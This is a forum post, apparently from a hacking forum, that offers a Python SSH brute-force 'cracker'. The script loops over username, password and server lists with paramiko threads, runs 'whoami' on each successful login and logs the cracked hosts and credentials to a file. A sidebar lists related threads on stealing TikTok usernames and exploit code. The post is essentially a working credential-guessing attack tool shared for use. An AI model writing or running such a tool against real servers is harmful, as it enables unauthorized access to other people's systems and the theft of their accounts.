SSH Cracker - Python
by catfrom90s - Saturday August 24, 2024 at 01:44 PM
#1
import paramiko from threading import Thread import os import colorama colorama.init(autoreset=True) #credentials usernamefile=open("username.txt") passfile=open("password.txt") ips=open("servers.txt") usernames = usernamefile.readlines() usernames = [username.strip() for username in usernames] passwords = passfile.readlines() passwords = [password.strip() for password in passwords] servers = ips.readlines() servers = [server.strip() for server in servers] #connection def connent(host,username,password):     try:            client =  paramiko.client.SSHClient()         client.set_missing_host_key_policy(paramiko.AutoAddPolicy())         client.connect(host,username=username,password=password,timeout=10)         _stdin, _stdout,_stderr = client.exec_command("whoami")         print(_stdout.read().decode())         print(colorama.Fore.BLUE + f"server {host} craked with the username {username} and password {password} !")         colorama.Fore.WHITE         alive_server_cracked = open("alive_servers_cracked.txt","a")         alive_server_cracked.write(str(host)+"\t"+str(username)+"\t"+str(password)+"\t"+"\n")         alive_server_cracked.write(str(_stdout.read().decode())+"\n")         client.close()     except paramiko.ssh_exception.SSHException or ConnectionResetError:         print(f"there was smth wrong with {host} {username} {password}") #threading threads = [] counter = 0 for j in range(len(servers)):   # ping = os.system(f"ping -c 1 -w 2 {servers[j]}")        #if(ping == 0):     server_file = open("alive_servers.txt","a")     server_file.write(str(servers[j])+"\n")     for i in range(len(usernames)):         for x in range(len(passwords)):             thread = Thread(target=connent,args=(servers[j],usernames[i],passwords[x]))             print(thread)             threads.append(thread)             print(f"sending request to {servers[j]} {usernames[i]} {passwords[x]} ")             thread.start()     counter+=1     if(counter==5):         for z in threads:             z.join()         threads.clear()         counter=0
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Python Script To Steal Any TikTok Username bs0d 302 14,686 Yesterday, 12:21 AM
Last Post: saucymel
  Python open redirect checker cuteshiny 36 6,845 02-03-2026, 01:10 PM
Last Post: linyibaby
  [Python} Wordpress checker lord_x 155 23,246 02-03-2026, 01:07 PM
Last Post: diegofuckadona
  Python tip - how to use proxy in exploit code Alegron125 0 219 04-01-2025, 12:55 AM
Last Post: Alegron125
  Python MAİL SENDER Mr_subProcess 2 281 03-18-2025, 10:19 PM
Last Post: Mr_subProcess



 Users browsing this thread: 1 Guest(s)